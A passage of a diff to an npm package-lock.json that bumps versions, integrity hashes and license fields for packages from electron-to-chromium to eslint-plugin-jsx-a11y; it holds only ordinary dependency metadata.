-      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.671.tgz",
-      "integrity": "sha512-UUlE+/rWbydmp+FW8xlnnTA5WNA0ZZd2XL8CuMS72rh+k4y1f8+z6yk3UQhEwqHQWj6IBdL78DwWOdGMvYfQyA=="
+      "version": "1.5.180",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.180.tgz",
+      "integrity": "sha512-ED+GEyEh3kYMwt2faNmgMB0b8O5qtATGgR4RmRsIp4T6p7B8vdMbIedYndnvZfsaXvSzegtpfqRMDNCjjiSduA==",
+      "license": "ISC"
     },
     "node_modules/emittery": {
       "version": "0.8.1",
       "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz",
       "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -7383,28 +7589,32 @@
     "node_modules/emoji-regex": {
       "version": "9.2.2",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
-      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="
+      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
+      "license": "MIT"
     },
     "node_modules/emojis-list": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz",
       "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">= 4"
       }
     },
     "node_modules/encodeurl": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
-      "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
+      "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
     },
     "node_modules/enhanced-resolve": {
-      "version": "5.15.0",
-      "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz",
-      "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==",
+      "version": "5.18.2",
+      "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.2.tgz",
+      "integrity": "sha512-6Jw4sE1maoRJo3q8MsSIn2onJFbLTOjY9hlx4DZXmOKvLRd1Ok2kXmAGXaafL2+ijsJZ1ClYbl/pmqr9+k4iUQ==",
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.2.4",
         "tapable": "^2.2.0"
@@ -7417,6 +7627,7 @@
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
       "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==",
+      "license": "BSD-2-Clause",
       "funding": {
         "url": "https://github.com/fb55/entities?sponsor=1"
       }
@@ -7425,6 +7636,7 @@
       "version": "1.3.2",
       "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
       "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+      "license": "MIT",
       "dependencies": {
         "is-arrayish": "^0.2.1"
       }
@@ -7433,56 +7645,71 @@
       "version": "2.1.4",
       "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz",
       "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==",
+      "license": "MIT",
       "dependencies": {
         "stackframe": "^1.3.4"
       }
     },
     "node_modules/es-abstract": {
-      "version": "1.22.4",
-      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.4.tgz",
-      "integrity": "sha512-vZYJlk2u6qHYxBOTjAeg7qUxHdNfih64Uu2J8QqWgXZ2cri0ZpJAkzDUK/q593+mvKwlxyaxr6F1Q+3LKoQRgg==",
+      "version": "1.24.0",
+      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz",
+      "integrity": "sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==",
+      "license": "MIT",
       "dependencies": {
-        "array-buffer-byte-length": "^1.0.1",
-        "arraybuffer.prototype.slice": "^1.0.3",
-        "available-typed-arrays": "^1.0.6",
-        "call-bind": "^1.0.7",
-        "es-define-property": "^1.0.0",
+        "array-buffer-byte-length": "^1.0.2",
+        "arraybuffer.prototype.slice": "^1.0.4",
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "data-view-buffer": "^1.0.2",
+        "data-view-byte-length": "^1.0.2",
+        "data-view-byte-offset": "^1.0.1",
+        "es-define-property": "^1.0.1",
         "es-errors": "^1.3.0",
-        "es-set-tostringtag": "^2.0.2",
-        "es-to-primitive": "^1.2.1",
-        "function.prototype.name": "^1.1.6",
-        "get-intrinsic": "^1.2.4",
-        "get-symbol-description": "^1.0.2",
-        "globalthis": "^1.0.3",
-        "gopd": "^1.0.1",
+        "es-object-atoms": "^1.1.1",
+        "es-set-tostringtag": "^2.1.0",
+        "es-to-primitive": "^1.3.0",
+        "function.prototype.name": "^1.1.8",
+        "get-intrinsic": "^1.3.0",
+        "get-proto": "^1.0.1",
+        "get-symbol-description": "^1.1.0",
+        "globalthis": "^1.0.4",
+        "gopd": "^1.2.0",
         "has-property-descriptors": "^1.0.2",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3",
-        "hasown": "^2.0.1",
-        "internal-slot": "^1.0.7",
-        "is-array-buffer": "^3.0.4",
+        "has-proto": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "internal-slot": "^1.1.0",
+        "is-array-buffer": "^3.0.5",
         "is-callable": "^1.2.7",
-        "is-negative-zero": "^2.0.2",
-        "is-regex": "^1.1.4",
-        "is-shared-array-buffer": "^1.0.2",
-        "is-string": "^1.0.7",
-        "is-typed-array": "^1.1.13",
-        "is-weakref": "^1.0.2",
-        "object-inspect": "^1.13.1",
+        "is-data-view": "^1.0.2",
+        "is-negative-zero": "^2.0.3",
+        "is-regex": "^1.2.1",
+        "is-set": "^2.0.3",
+        "is-shared-array-buffer": "^1.0.4",
+        "is-string": "^1.1.1",
+        "is-typed-array": "^1.1.15",
+        "is-weakref": "^1.1.1",
+        "math-intrinsics": "^1.1.0",
+        "object-inspect": "^1.13.4",
         "object-keys": "^1.1.1",
-        "object.assign": "^4.1.5",
-        "regexp.prototype.flags": "^1.5.2",
-        "safe-array-concat": "^1.1.0",
-        "safe-regex-test": "^1.0.3",
-        "string.prototype.trim": "^1.2.8",
-        "string.prototype.trimend": "^1.0.7",
-        "string.prototype.trimstart": "^1.0.7",
-        "typed-array-buffer": "^1.0.1",
-        "typed-array-byte-length": "^1.0.0",
-        "typed-array-byte-offset": "^1.0.0",
-        "typed-array-length": "^1.0.4",
-        "unbox-primitive": "^1.0.2",
-        "which-typed-array": "^1.1.14"
+        "object.assign": "^4.1.7",
+        "own-keys": "^1.0.1",
+        "regexp.prototype.flags": "^1.5.4",
+        "safe-array-concat": "^1.1.3",
+        "safe-push-apply": "^1.0.0",
+        "safe-regex-test": "^1.1.0",
+        "set-proto": "^1.0.0",
+        "stop-iteration-iterator": "^1.1.0",
+        "string.prototype.trim": "^1.2.10",
+        "string.prototype.trimend": "^1.0.9",
+        "string.prototype.trimstart": "^1.0.8",
+        "typed-array-buffer": "^1.0.3",
+        "typed-array-byte-length": "^1.0.3",
+        "typed-array-byte-offset": "^1.0.4",
+        "typed-array-length": "^1.0.7",
+        "unbox-primitive": "^1.1.0",
+        "which-typed-array": "^1.1.19"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7494,15 +7721,14 @@
     "node_modules/es-array-method-boxes-properly": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz",
-      "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA=="
+      "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==",
+      "license": "MIT"
     },
     "node_modules/es-define-property": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz",
-      "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==",
-      "dependencies": {
-        "get-intrinsic": "^1.2.4"
-      },
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+      "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       }
@@ -7511,89 +7737,92 @@
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
       "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       }
     },
-    "node_modules/es-get-iterator": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/es-get-iterator/-/es-get-iterator-1.1.3.tgz",
-      "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==",
-      "dev": true,
-      "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.1.3",
-        "has-symbols": "^1.0.3",
-        "is-arguments": "^1.1.1",
-        "is-map": "^2.0.2",
-        "is-set": "^2.0.2",
-        "is-string": "^1.0.7",
-        "isarray": "^2.0.5",
-        "stop-iteration-iterator": "^1.0.0"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
-    },
     "node_modules/es-iterator-helpers": {
-      "version": "1.0.17",
-      "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.17.tgz",
-      "integrity": "sha512-lh7BsUqelv4KUbR5a/ZTaGGIMLCjPGPqJ6q+Oq24YP0RdyptX1uzm4vvaqzk7Zx3bpl/76YLTTDj9L7uYQ92oQ==",
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz",
+      "integrity": "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==",
+      "license": "MIT",
       "dependencies": {
-        "asynciterator.prototype": "^1.0.0",
-        "call-bind": "^1.0.7",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
         "define-properties": "^1.2.1",
-        "es-abstract": "^1.22.4",
+        "es-abstract": "^1.23.6",
         "es-errors": "^1.3.0",
-        "es-set-tostringtag": "^2.0.2",
+        "es-set-tostringtag": "^2.0.3",
         "function-bind": "^1.1.2",
-        "get-intrinsic": "^1.2.4",
-        "globalthis": "^1.0.3",
+        "get-intrinsic": "^1.2.6",
+        "globalthis": "^1.0.4",
+        "gopd": "^1.2.0",
         "has-property-descriptors": "^1.0.2",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3",
-        "internal-slot": "^1.0.7",
-        "iterator.prototype": "^1.1.2",
-        "safe-array-concat": "^1.1.0"
+        "has-proto": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "internal-slot": "^1.1.0",
+        "iterator.prototype": "^1.1.4",
+        "safe-array-concat": "^1.1.3"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/es-module-lexer": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.4.1.tgz",
-      "integrity": "sha512-cXLGjP0c4T3flZJKQSuziYoq7MlT+rnvfZjfp7h+I7K9BNX54kP9nyWvdbwjQ4u1iWbOL4u96fgeZLToQlZC7w=="
+      "version": "1.7.0",
+      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
+      "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==",
+      "license": "MIT"
+    },
+    "node_modules/es-object-atoms": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
+      "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
     },
     "node_modules/es-set-tostringtag": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.2.tgz",
-      "integrity": "sha512-BuDyupZt65P9D2D2vA/zqcI3G5xRsklm5N3xCwuiy+/vKy8i0ifdsQP1sLgO4tZDSCaQUSnmC48khknGMV3D2Q==",
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
+      "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.2.2",
-        "has-tostringtag": "^1.0.0",
-        "hasown": "^2.0.0"
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6",
+        "has-tostringtag": "^1.0.2",
+        "hasown": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/es-shim-unscopables": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz",
-      "integrity": "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz",
+      "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==",
+      "license": "MIT",
       "dependencies": {
-        "hasown": "^2.0.0"
+        "hasown": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/es-to-primitive": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
-      "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz",
+      "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==",
+      "license": "MIT",
       "dependencies": {
-        "is-callable": "^1.1.4",
-        "is-date-object": "^1.0.1",
-        "is-symbol": "^1.0.2"
+        "is-callable": "^1.2.7",
+        "is-date-object": "^1.0.5",
+        "is-symbol": "^1.0.4"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7605,12 +7834,14 @@
     "node_modules/es6-promise": {
       "version": "4.2.8",
       "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz",
-      "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="
+      "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==",
+      "license": "MIT"
     },
     "node_modules/escalade": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz",
-      "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -7618,20 +7849,26 @@
     "node_modules/escape-html": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
-      "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
+      "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
+      "license": "MIT"
     },
     "node_modules/escape-string-regexp": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
-      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+      "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+      "license": "MIT",
       "engines": {
-        "node": ">=0.8.0"
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/escodegen": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
       "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esprima": "^4.0.1",
         "estraverse": "^5.2.0",
@@ -7652,21 +7889,24 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "optional": true,
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/eslint": {
-      "version": "8.56.0",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.56.0.tgz",
-      "integrity": "sha512-Go19xM6T9puCOWntie1/P997aXxFsOi37JIHRWI514Hc6ZnaHGKY9xFhrU65RT6CcBEzZoGG1e6Nq+DT04ZtZQ==",
+      "version": "8.57.1",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.1.tgz",
+      "integrity": "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==",
+      "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.",
+      "license": "MIT",
       "dependencies": {
         "@eslint-community/eslint-utils": "^4.2.0",
         "@eslint-community/regexpp": "^4.6.1",
         "@eslint/eslintrc": "^2.1.4",
-        "@eslint/js": "8.56.0",
-        "@humanwhocodes/config-array": "^0.11.13",
+        "@eslint/js": "8.57.1",
+        "@humanwhocodes/config-array": "^0.13.0",
         "@humanwhocodes/module-importer": "^1.0.1",
         "@nodelib/fs.walk": "^1.2.8",
         "@ungap/structured-clone": "^1.2.0",
@@ -7716,6 +7956,7 @@
       "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-8.10.0.tgz",
       "integrity": "sha512-SM8AMJdeQqRYT9O9zguiruQZaN7+z+E4eAP9oiLNGKMtomwaB1E9dcgUD6ZAn/eQAb52USbvezbiljfZUhbJcg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "eslint-config-prettier": "bin/cli.js"
       },
@@ -7727,6 +7968,7 @@
       "version": "7.0.1",
       "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz",
       "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.16.0",
         "@babel/eslint-parser": "^7.16.3",
@@ -7754,6 +7996,7 @@
       "version": "0.3.9",
       "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz",
       "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==",
+      "license": "MIT",
       "dependencies": {
         "debug": "^3.2.7",
         "is-core-module": "^2.13.0",
@@ -7764,14 +8007,16 @@
       "version": "3.2.7",
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+      "license": "MIT",
       "dependencies": {
         "ms": "^2.1.1"
       }
     },
     "node_modules/eslint-module-utils": {
-      "version": "2.8.0",
-      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.8.0.tgz",
-      "integrity": "sha512-aWajIYfsqCKRDgUfjEXNN/JlrzauMuSEy5sbd7WXbtW3EH6A6MpwEh42c7qD+MqQo9QMJ6fWLAeIJynx0g6OAw==",
+      "version": "2.12.1",
+      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz",
+      "integrity": "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==",
+      "license": "MIT",
       "dependencies": {
         "debug": "^3.2.7"
       },
@@ -7788,6 +8033,7 @@
       "version": "3.2.7",
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+      "license": "MIT",
       "dependencies": {
         "ms": "^2.1.1"
       }
@@ -7796,6 +8042,7 @@
       "version": "8.0.3",
       "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz",
       "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "lodash": "^4.17.21",
         "string-natural-compare": "^3.0.1"
@@ -7810,39 +8057,43 @@
       }
     },
     "node_modules/eslint-plugin-import": {
-      "version": "2.29.1",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.29.1.tgz",
-      "integrity": "sha512-BbPC0cuExzhiMo4Ff1BTVwHpjjv28C5R+btTOGaCRC7UEz801up0JadwkeSk5Ued6TG34uaczuVuH6qyy5YUxw==",
+      "version": "2.32.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz",
+      "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==",
+      "license": "MIT",
       "dependencies": {
-        "array-includes": "^3.1.7",
-        "array.prototype.findlastindex": "^1.2.3",
-        "array.prototype.flat": "^1.3.2",
-        "array.prototype.flatmap": "^1.3.2",
+        "@rtsao/scc": "^1.1.0",
+        "array-includes": "^3.1.9",
+        "array.prototype.findlastindex": "^1.2.6",
+        "array.prototype.flat": "^1.3.3",
+        "array.prototype.flatmap": "^1.3.3",
         "debug": "^3.2.7",
         "doctrine": "^2.1.0",
         "eslint-import-resolver-node": "^0.3.9",
-        "eslint-module-utils": "^2.8.0",
-        "hasown": "^2.0.0",
-        "is-core-module": "^2.13.1",
+        "eslint-module-utils": "^2.12.1",
+        "hasown": "^2.0.2",
+        "is-core-module": "^2.16.1",
         "is-glob": "^4.0.3",
         "minimatch": "^3.1.2",
-        "object.fromentries": "^2.0.7",
-        "object.groupby": "^1.0.1",
-        "object.values": "^1.1.7",
+        "object.fromentries": "^2.0.8",
+        "object.groupby": "^1.0.3",
+        "object.values": "^1.2.1",
         "semver": "^6.3.1",
+        "string.prototype.trimend": "^1.0.9",
         "tsconfig-paths": "^3.15.0"
       },
       "engines": {
         "node": ">=4"
       },
       "peerDependencies": {
-        "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8"
+        "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9"
       }
     },
     "node_modules/eslint-plugin-import/node_modules/debug": {
       "version": "3.2.7",
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+      "license": "MIT",
       "dependencies": {
         "ms": "^2.1.1"
       }
@@ -7851,6 +8102,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
       "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+      "license": "Apache-2.0",
       "dependencies": {
         "esutils": "^2.0.2"
       },
@@ -7862,6 +8114,7 @@
       "version": "25.7.0",
       "resolved": "https://registry.npmjs.org/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz",
       "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==",
+      "license": "MIT",
       "dependencies": {
         "@typescript-eslint/experimental-utils": "^5.0.0"
       },
@@ -7882,75 +8135,80 @@
       }
     },
     "node_modules/eslint-plugin-jsx-a11y": {
-      "version": "6.8.0",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.8.0.tgz",
-      "integrity": "sha512-Hdh937BS3KdwwbBaKd5+PLCOmYY6U4f2h9Z2ktwtNKvIdIEu137rjYbcb9ApSbVJfWxANNuiKTD/9tOKjK9qOA==",
+      "version": "6.10.2",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz",
